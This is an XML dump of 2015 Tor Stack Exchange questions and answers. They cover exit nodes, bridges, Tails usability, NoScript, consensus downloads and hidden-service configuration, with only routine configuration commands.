  <row Id="6466" PostTypeId="1" CreationDate="2015-03-21T15:12:05.720" Score="3" ViewCount="672" Body="&lt;p&gt;Sometimes I have to use Tor as a proxy server to let myself appear in a specific country. This can be done by editing the torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is: Some websites are blocking traffic from Tor. I presume they are using the list provided by Tor Project to autoblock the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;Are there Tor Exit nodes (country specific) that are not listed in the Tor node list?&lt;/p&gt;&#xA;" OwnerUserId="6981" LastEditorUserId="696" LastEditDate="2015-03-22T00:35:23.793" LastActivityDate="2023-02-22T13:33:17.610" Title="Are there tor exit nodes (country specific) that are not listed in the tor node list?" Tags="|tor-browser-bundle|security|exit-relays|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6469" PostTypeId="2" ParentId="6466" CreationDate="2015-03-22T02:26:45.763" Score="1" Body="&lt;p&gt;No, because using them is not practical at all. You'd have to change your Tor heavily to make use of them, and even then it'd not offer you most of Tor's anonymity protections if any kind of link between you and the exit node can be established.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-22T02:26:45.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6470" PostTypeId="2" ParentId="6234" CreationDate="2015-03-22T02:30:37.963" Score="0" Body="&lt;p&gt;There is no option to do that because changing identity frequently without anonymity in mind is frowned upon as it increases network load. Tor wants to be a tool that allows anonymity, and thus &quot;new identity&quot; creates a new session unlinkable to your last, but not necessarily using a fresh exit node. People have tried using Tor to game vote casting systems etc, which makes it harder to run exit nodes and is considered abuse.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-22T02:30:37.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6471" PostTypeId="1" CreationDate="2015-03-22T06:08:34.270" Score="4" ViewCount="908" Body="&lt;p&gt;I am booting from Tails using a usb.  I can start up the machine fine, but everything looks very small.  My resolution is 2880x1800 with a dpi of 220, but it is detected as 2880x1800 with a dpi of 94.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using xrandr to change the dpi but it fails to cause anything to happen visually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I have tried to just change the resolution to something smaller; using the system tools options in the menu and using xrandr, but both of those result in a black screen.&lt;/p&gt;&#xA;" OwnerUserId="6985" LastActivityDate="2018-01-29T04:27:47.737" Title="Issues with Tails and a high dpi screen" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6473" PostTypeId="2" ParentId="6445" CreationDate="2015-03-22T21:20:00.263" Score="-1" Body="&lt;p&gt;It is my understanding (which may be limited) that Tor connections can be filtered (blocked) by your ISP since there is a publicly available list of relays. This would have to be an ISP that filters all connections to the internet (think China).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is not a publicly available list of all bridge relays, you will have have a much better chance of not being blocked while using them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if an ISP can tell that you are running Tor, that does not mean that they can tell what sites you are visiting or what exactly you are doing. Therefore, Tor bridge relays are not necessarily safer to use and you do not need to use them if your are already able to successfully connect to the Tor network without them.&lt;/p&gt;&#xA;" OwnerUserId="6988" LastActivityDate="2015-03-22T21:20:00.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6477" PostTypeId="1" CreationDate="2015-03-23T21:31:21.267" Score="1" ViewCount="1119" Body="&lt;p&gt;I know how Tor works (mostly) but I want to know how data returns through Tor to the user. Example: I send a message from me (Bob) to my friend (Rob) and it goes to, let's say, 3 relays. Now, when I get the data back from Bob which relays does it use? The same ones? And if I sent that to a website it will send the data back to exit node. How does the exit node know who to send the traffic to? I will be using a Tor&gt;VPN. How does the exit node route the traffic from the VPN back to me? And also since I encrypt the data when I send it and then the data gets decrypted layer by layer by the relays, who encrypts the data when it is going from a website to me? Sorry if it's long but there is no information about this anywhere. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6998" LastEditorUserId="435" LastEditDate="2015-03-29T19:31:26.297" LastActivityDate="2015-07-01T20:56:16.167" Title="How does data go through Tor" Tags="|relays|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6478" PostTypeId="2" ParentId="6152" CreationDate="2015-03-24T07:30:22.423" Score="1" Body="&lt;p&gt;There are addons for that here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ddg-onion/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/ddg-onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ddg-onion-lite/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/ddg-onion-lite/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7001" LastActivityDate="2015-03-24T07:30:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6480" PostTypeId="1" CreationDate="2015-03-24T08:16:22.980" Score="1" ViewCount="181" Body="&lt;p&gt;I have a very small filesystem with very little space left (approx. 3-4MB), can I redirect the &quot;cached-microdescs&quot; -files to another place?&#xA;The problem is that the disc fills up to 100% after a short time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is plenty of space in a &quot;volatile&quot; area that I want to use, is there a problem that the &quot;cached-microdescs&quot; -files are wiped out due to a restart of the system?&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2015-07-22T13:05:06.147" Title="Specify new location for &quot;cached-microdescs&quot;?" Tags="|configuration|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6481" PostTypeId="2" ParentId="6480" CreationDate="2015-03-24T10:55:39.190" Score="1" Body="&lt;p&gt;Tor doesn't support splitting your data directory like that, if you create a symlink to some other place Tor removes that symlink instead of using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your situation, I'd suggest putting your entire datadirectory into the volatile storage area with a script for startup/shutdown to copy just the important parts of information (state file for clients, keys for relays) to permanent storage on boot/shutdown.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-24T10:55:39.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6482" PostTypeId="1" CreationDate="2015-03-24T12:20:33.487" Score="1" ViewCount="421" Body="&lt;p&gt;I'm using TorBrowser v4.0.5 on Ubuntu v14.&#xA;I have NoScript set to &quot;Forbid Scripts Globally&quot;.&#xA;When I encounter a webpage that doesn't work, I sometimes will turn Javascript on for that page only; but I'm finding this is more difficult to do with TorBrowser than it is with a non-Tor Firefox browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I  click the NoScript icon in a non-Tor Firefox browser, it lists all the domains that supply Javascript to the current page and I can temporarily turn on JS for one or more of them until the page is working.&#xA;But when I use the Tor Browser, no domains are listed under NoScript.  Does anyone know if this is an intentional feature of the TorBrowser or if it is a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click &quot;Temporarily allow all this page&quot; and then click NoScript, Options, Whitelist, only the main domain of that page is whitelisted (which usually is not really ALL the scripts on that page).&#xA;Often this is enough to get the page working, but some pages still do not work properly.  My guess is that they need JS from other domains to function.  Unfortunately, I don't know what domains they need because NoScript doesn't list them.&#xA;Does anyone know of a workaround for this issue that is less drastic than using the &quot;Allow Scripts Globally&quot; feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7006" LastActivityDate="2015-03-30T13:30:25.130" Title="No websites listed when I click the NoScript icon" Tags="|javascript|noscript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6483" PostTypeId="1" CreationDate="2015-03-24T16:40:57.337" Score="1" ViewCount="453" Body="&lt;p&gt;When I download a Tor Browser update, I get a warning from Norton File Insight saying I should not trust this download because there is no history and only 5 users in the &quot;Norton Community&quot;.  Am I to assume that Symantic is keeping track of who is downloading Tor?  When I download anything does Norton 360 report this download back to Symantic, and who has access to that information?&lt;/p&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2015-03-25T04:05:22.413" Title="Tor browser update download and anti-virus software" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-26T20:31:28.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="6485" PostTypeId="2" ParentId="6055" CreationDate="2015-03-24T22:52:53.530" Score="0" Body="&lt;p&gt;The torrc file is in &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt;. You can add a hidden service with lines like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TORRC=/usr/share/tor/tor-service-defaults-torrc&#xA;echo HiddenServiceDir /var/lib/tor/hidden_service &amp;gt;&amp;gt; $TORRC&#xA;echo HiddenServicePort 80 127.0.0.1:80 &amp;gt;&amp;gt; $TORRC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also have to allow connections to it in iptables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -I OUTPUT -d 127.0.0.1/32 -o lo -p tcp -m tcp --dport 80 --tcp-flags FIN,SYN,RST,ACK SYN -m owner --uid-owner debian-tor -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding this feature to Tails is currently a work in progress, see &lt;a href=&quot;https://labs.riseup.net/code/issues/7879&quot; rel=&quot;nofollow&quot;&gt;this ticket&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="7014" LastActivityDate="2015-03-24T22:52:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6486" PostTypeId="1" CreationDate="2015-03-25T02:21:20.020" Score="4" ViewCount="21841" Body="&lt;p&gt;I am running Tails 1.3.1 off of a USB stick and want to save files onto a second USB stick from the Tor Browser.  I can see and access files that were on the second USB stick from the file browser but cannot access it through the save dialog in Tor Browser.  I get the error &lt;code&gt;Could not read the contents of (DRIVE NAME), Permission Denied&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to change the permissions from &quot;Amnesia&quot; group.  Any advice?&lt;/p&gt;&#xA;" OwnerUserId="7016" LastEditorUserId="435" LastEditDate="2015-03-29T19:56:02.647" LastActivityDate="2015-07-23T09:20:11.500" Title="How do you access a second USB drive from Tails?" Tags="|tor-browser-bundle|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6487" PostTypeId="2" ParentId="6477" CreationDate="2015-03-25T04:02:45.360" Score="2" Body="&lt;p&gt;Every step is done in reverse when the data is sent back to you from the exit relay, using the same relays. The relay knows which connection some data it receives belongs to, so it can link the data from Rob or the webserver to the original request. It then, instead of decrypting the data you sent it, encrypts it so only you can read it. Then it forwards the data to the middle relay, which will also encrypt it instead of decrypting it. Same thing at your guard relay. Then your Tor client decrypts the received data three times, and you have Rob's answer. This doesn't change whether you use a VPN or not, all the connections that your Tor client makes are bi-directional so you can send and receive data on them.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-25T04:02:45.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6488" PostTypeId="2" ParentId="6483" CreationDate="2015-03-25T04:05:22.413" Score="0" Body="&lt;p&gt;Yes, antivirus software is notorious for spying on its users to do its job. It will also often upload suspected malware for further analysis, or report back identified threats.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-25T04:05:22.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6489" PostTypeId="1" AcceptedAnswerId="6507" CreationDate="2015-03-25T08:14:10.337" Score="2" ViewCount="862" Body="&lt;p&gt;I am reading the  &quot;Tor directory protocol, version 3&quot; and there are some points that I cannot clearly understand, please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are 4 paragraphs as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clients, directory caches, and directory authorities all use consensus&#xA;   documents to find out when their list of routers is out-of-date.&#xA;   (Directory authorities also use vote statuses.) If it is, they download&#xA;   any missing server descriptors.  Clients download missing descriptors&#xA;   from caches; caches and authorities download from authorities.&#xA;   Descriptors are downloaded by the hash of the descriptor, not by the&#xA;   relay's identity key: this prevents directory servers from attacking&#xA;   clients by giving them descriptors nobody else uses. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Periodically (currently, every 10 seconds), directory caches check&#xA;   whether there are any specific descriptors that they do not have and that&#xA;   they are not currently trying to download.  Caches identify these&#xA;   descriptors by hash in the recent network-status consensus documents.&#xA;&#xA;   If so, the directory cache launches requests to the authorities for these&#xA;   descriptors.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clients try to have the best descriptor for each router.  A descriptor is&#xA;   &quot;best&quot; if:&#xA;      * It is listed in the consensus network-status document.&#xA;&#xA;       Periodically (currently every 10 seconds) clients check whether there are&#xA;       any &quot;downloadable&quot; descriptors.  A descriptor is downloadable if:&#xA;          - It is the &quot;best&quot; descriptor for some router.&#xA;          - The descriptor was published at least 10 minutes in the past.&#xA;            (This prevents clients from trying to fetch descriptors that the&#xA;            mirrors have probably not yet retrieved and cached.)&#xA;          - The client does not currently have it.&#xA;          - The client is not currently trying to download it.&#xA;          - The client would not discard it immediately upon receiving it.&#xA;          - The client thinks it is running and valid (see section 5.4.1 below).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Each client maintains a list of directory authorities.  Insofar as&#xA;   possible, clients SHOULD all use the same list.&#xA;&#xA;   Clients try to have a live consensus network-status document at all times.&#xA;   A network-status document is &quot;live&quot; if the time in its valid-until field&#xA;   has not passed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By reading 1st, 2nd and 3rd, what I understand is that all descriptors in the consensus will be checked and updated every 10 seconds basing on their hash values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the last paragraph, what I figure out is that the client download the new consensus every one hour because of the fact that Directory Authorities recently publish the new consensus every one hour. In addition, when I check the &quot;cached-microdesc-consensus&quot; file in my Tor Browser Bundle, the following lines seem to be changed every one hour if I keep my Tor Browser alive for many hours.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network-status-version 3 microdesc&#xA;vote-status consensus&#xA;consensus-method 18&#xA;valid-after 2015-03-17 08:00:00&#xA;fresh-until 2015-03-17 09:00:00&#xA;valid-until 2015-03-17 11:00:00&#xA;voting-delay 300 300&#xA;client-versions &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for reading my long question. Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-03-28T15:04:58.767" Title="Do Tor Clients and Caches download the WHOLE totally new consensus file every one hour, or just update some lines in the file every 10 seconds?" Tags="|client|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6491" PostTypeId="1" CreationDate="2015-03-25T08:55:19.853" Score="1" ViewCount="394" Body="&lt;p&gt;so just a quick question. How can I send all my traffic through Tor?&#xA;I'm on a work computer with an IT department monitoring all our traffic.&#xA;Not that I do anything not permitted on the computers but I'd like to send all traffic through Tor.&#xA;It's a Windows 7 pc (sadly) and I don't have admin rights.&#xA;I'm able to set up a pptp tunnel though but I don't know how to configure the pptp server to redirect all traffic through Tor. The pptp server is an Ubuntu 14.04 server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know pptp isn't the safest thing out there but I don't have access to openvpn or anything like that.&#xA;If you have other suggestions then don't hesitate to post them.&lt;/p&gt;&#xA;" OwnerUserId="7019" LastEditorUserId="6597" LastEditDate="2015-03-26T20:32:00.233" LastActivityDate="2015-06-22T13:43:03.670" Title="Tor everything. VPN -&gt; Tpr" Tags="|vpn|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6492" PostTypeId="2" ParentId="6491" CreationDate="2015-03-25T09:00:28.847" Score="1" Body="&lt;p&gt;In my opinion, the simplest way is to buy a safeplug box. &lt;a href=&quot;https://pogoplug.com/safeplug&quot; rel=&quot;nofollow&quot;&gt;https://pogoplug.com/safeplug&lt;/a&gt;&#xA;The box acts as a proxy for your computer to talk to Tor. What you need to do is to configure your computer to re-direct all connections to Safeplug.&#xA;P/s: Safeplug uses Privoxy as and proxy to talk to Tor. So if you are capable of configure Privoxy within your PC to talk to Tor, then you could save amount of money on buying the box.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5202" LastEditDate="2015-03-25T09:09:50.177" LastActivityDate="2015-03-25T09:09:50.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6495" PostTypeId="2" ParentId="3474" CreationDate="2015-03-26T12:39:32.387" Score="2" Body="&lt;p&gt;As @user194 says, it is difficult to know quite what you are asking. But assuming that you are asking about the unpacked files versus the iso, then I think it is reasonable to say:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you verified the identity of the ISO using the methods described&#xA;on the Tails site, then the ISO is safe (within the bounds of safety&#xA;of anything cryptographic!).&lt;/li&gt;&#xA;&lt;li&gt;If you created the USB bootstick using the methods described on the&#xA;Tails site, and assuming that your machine is not already grossly&#xA;compromised, then the USB version is safe to use.&lt;/li&gt;&#xA;&lt;li&gt;There is absolutely no reason to expect that the concatenation of&#xA;all the individual files unpacked from the ISO would give the same&#xA;MD5 hash as the ISO itself. In fact, if they did, it is then that&#xA;one would begin to suspect that something was seriously wrong!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="435" LastEditorUserId="71" LastEditDate="2015-04-27T21:03:39.993" LastActivityDate="2015-04-27T21:03:39.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6496" PostTypeId="1" CreationDate="2015-03-26T13:40:03.673" Score="8" ViewCount="15858" Body="&lt;p&gt;Before there was a installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's just a zip file with no installation instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I put the DATA directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when I run tor.exe nothing happens, I see no command line options or anything&lt;/p&gt;&#xA;" OwnerUserId="7031" LastEditorUserId="7031" LastEditDate="2015-03-26T13:46:15.230" LastActivityDate="2015-06-12T17:03:26.973" Title="Tor expert bundle on Windows - no installation instructions" Tags="|configuration|windows|directory|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6497" PostTypeId="1" AcceptedAnswerId="6503" CreationDate="2015-03-26T15:46:00.477" Score="1" ViewCount="1236" Body="&lt;p&gt;For one of my project, I want to create a private TOR network and want to send my traffic through that but I am unable to create it. Can anyone suggest how it can be done?&lt;/p&gt;&#xA;" OwnerUserId="7032" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:17.040" LastActivityDate="2021-05-25T20:40:17.040" Title="How can we create our own private TOR circuit?" Tags="|private|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6498" PostTypeId="1" CreationDate="2015-03-27T02:42:42.193" Score="1" ViewCount="536" Body="&lt;p&gt;I'm just wandering if its possible to create a virtual machine dedicated as a Tor proxy a bit like this hardware solution: &lt;a href=&quot;https://learn.adafruit.com/onion-pi?view=all&quot; rel=&quot;nofollow&quot;&gt;Onion Pi&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7035" LastEditorUserId="88" LastEditDate="2015-06-19T06:54:37.527" LastActivityDate="2015-06-19T06:54:37.527" Title="Anonymizing Tor Proxy as virtual machine" Tags="|virtual-machine|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6499" PostTypeId="2" ParentId="6482" CreationDate="2015-03-27T03:05:36.297" Score="2" Body="&lt;p&gt;Click on 'Options' (in NoScript), then click on the 'Appearance' tab: check off the options you want see. The upper right part contains the most important ones.&lt;/p&gt;&#xA;" OwnerUserId="7036" LastActivityDate="2015-03-27T03:05:36.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6500" PostTypeId="2" ParentId="6486" CreationDate="2015-03-27T07:42:16.763" Score="4" Body="&lt;p&gt;Tails 1.3.1 took the special step of isolating the Tor Browser from the rest of the operating system. When Tor Browser saves things (e.g., downloads) it saves them to its own, isolated folder. The folder can be made persistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make something on your USB stick accessible to the Tor Browser, you must copy it to the Tor Browser directory, which is a subdirectory of the home directory. Likewise, if you download something and you want to use it from the desktop, then you must specifically copy it to the desktop. The easiest way to do that, of course, is to use the Places menu item to browse to the Tor Browser folder, and copy the item from there.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2015-03-27T07:42:16.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6501" PostTypeId="2" ParentId="6498" CreationDate="2015-03-27T08:01:07.687" Score="2" Body="&lt;p&gt;You can do this with Whonix for example, which is a ready-to-run virtual machine that acts as a tor proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the details on how to do this is here:&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Other_Operating_Systems&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-03-27T08:01:07.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6502" PostTypeId="2" ParentId="6445" CreationDate="2015-03-27T17:56:45.540" Score="-1" Body="&lt;p&gt;It is safer to use bridges. I am using bridges most of the time, when I use #Orbot. However there's no need for you to use them, if your #ISP doesn't block your connection to #Tor.&lt;/p&gt;&#xA;" OwnerUserId="7039" LastActivityDate="2015-03-27T17:56:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6503" PostTypeId="2" ParentId="6497" CreationDate="2015-03-27T23:51:09.003" Score="0" Body="&lt;p&gt;Tor's manpage (also available as the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manual&lt;/a&gt;) already has everything you need. You probably want the TestingTorNetwork option along with DirAuthority. Also see &lt;a href=&quot;https://gitweb.torproject.org/chutney.git/&quot; rel=&quot;nofollow&quot;&gt;Chutney&lt;/a&gt;, a way to run a testing Tor network automatically.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-27T23:51:09.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6505" PostTypeId="1" CreationDate="2015-03-28T12:43:33.950" Score="1" ViewCount="820" Body="&lt;p&gt;I have been getting so anoyed with cloudflare everytime I visit a site that I have started to use hidemyass proxy server page while on the torbrowser to get past this. Is this another level of anonimity or does this comprimse tor in some way?&lt;/p&gt;&#xA;" OwnerUserId="7042" LastActivityDate="2015-03-28T14:59:37.067" Title="Is using hidemyass while in the tor browser safe?" Tags="|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6506" PostTypeId="2" ParentId="6505" CreationDate="2015-03-28T14:59:37.067" Score="1" Body="&lt;p&gt;There is nothing inherently bad about using a proxy after Tor, if you're ok with pseudonymity rather than anonymity (you're the Tor user that always uses hidemyass). hidemyass is in this instance not that different from a random cdn that also sees a huge amount of your traffic. Of course, they could link your pseudonymous profile to your actual identity if you ever divulge it while browsing.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-28T14:59:37.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6507" PostTypeId="2" ParentId="6489" CreationDate="2015-03-28T15:04:58.767" Score="3" Body="&lt;p&gt;Good and detailed question, but you're misunderstanding a key point about descriptors. A descriptor doesn't change, once you've downloaded it you don't update it. This is guaranteed by using hashes - if a new descriptor is generated, it will have a new hash value, so the new descriptor is fetched. The check every 10 seconds just means that we'll try to fetch descriptors frequently if we cannot get access to them, not that we re-download anything every 10 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus document lists these descriptors, so when you get a consensus document and it is fresher than the last one you had, you download the descriptors that are referenced in it. Fetching a consensus document happens every few hours for clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, the whole new consensus document is fetched again, but there is an active task to support downloading only the differences.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-28T15:04:58.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6509" PostTypeId="1" AcceptedAnswerId="6518" CreationDate="2015-03-28T21:19:19.690" Score="4" ViewCount="527" Body="&lt;p&gt;In the Tor button menu, there is a &quot;Cookie Protections&quot; item, which opens up a dialog that lists all my cookies, and allows me to protect or unprotect each (and specify whether new cookies should be protected or unprotected by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does protecting or unprotecting a cookie do?&lt;/p&gt;&#xA;" OwnerUserId="7046" LastActivityDate="2015-03-30T13:35:36.673" Title="What does it mean to protect / unprotect a cookie?" Tags="|tor-browser-bundle|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6511" PostTypeId="1" CreationDate="2015-03-28T23:46:53.070" Score="-2" ViewCount="1344" Body="&lt;p&gt;I installed Tor Browser to see what all the hype was about and now my computer is messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't reboot the computer, it won't load. It sits on the apple gray screen for hours. Everything worked fine before I installed Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed Tor Browser with App Zapper and it still won't boot. I've been to the apple store and the genius bar checked everything and the hardware is fine, its a problem with the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even reinstalled OSX Yosemite and it still doesn't work. Can anybody help me remove all the stuff that Tor installed that's messed up my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is garbage. I'd rather be raided by the NSA than have my computer not work.&lt;/p&gt;&#xA;" OwnerUserId="7049" LastEditorUserId="7056" LastEditDate="2015-03-29T19:06:34.920" LastActivityDate="2015-03-29T19:06:34.920" Title="How do I completely remove Tor from OSX Yosemite?" Tags="|mac|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-29T15:39:19.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="6513" PostTypeId="1" CreationDate="2015-03-29T02:04:02.073" Score="0" ViewCount="43" Body="&lt;p&gt;I'm living in China and GFW block Tor traffic anyway I installed the Tor bundle on my Ubuntu computer and was able to connect to the network with the &quot;meek-amazon transport plugin&quot; bridge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully installed all the requirements to run my RPI2 (headless) &#xA;as a Tor router.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure the torrc file (or any file in this case) to allow my RPI2/Tor router to connect to the &quot;meek-amazon tp&quot;?&lt;br&gt;&#xA;Mind you, I am running headless so this all needs to be through ssh. Also, I'm in China so unless I can download something through http I can't git clone from anything dealing with tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user7052" LastEditorUserId="3225" LastEditorDisplayName="user7052" LastEditDate="2015-04-13T08:49:38.300" LastActivityDate="2015-04-13T08:49:38.300" Title="OnionPi with meek-amazon transport plugin" Tags="|raspberry-pi|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2015-04-20T08:03:07.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="6514" PostTypeId="1" CreationDate="2015-03-29T12:37:59.633" Score="1" ViewCount="363" Body="&lt;p&gt;I wonder if the tor software (e.g. that which is installed via &lt;code&gt;apt-get install tor&lt;/code&gt; in debian/ubuntu, or from the git repo) is always a package that includes the use of Tor as a Client and also as a Relay and Exit node ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background to this question is, that i want to avoid to unintentiolly misconfigure Tor. At the present moment my desire and capability is only that of being a User (i.e. client use) not a Provider (i.e. relay or exitnode). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answering my question would be easy, for somebody who knows, i.e. it would simply consist of confirming  or rejecting whether a normal package of Tor includes directly all functionality (i.e. also that of relaying and exitnoding) or if there is a &quot;client-only&quot; package.&lt;/p&gt;&#xA;" OwnerUserId="7053" LastActivityDate="2016-05-04T00:33:58.457" Title="Is Tor client, relay server and exit node server the same software package?" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
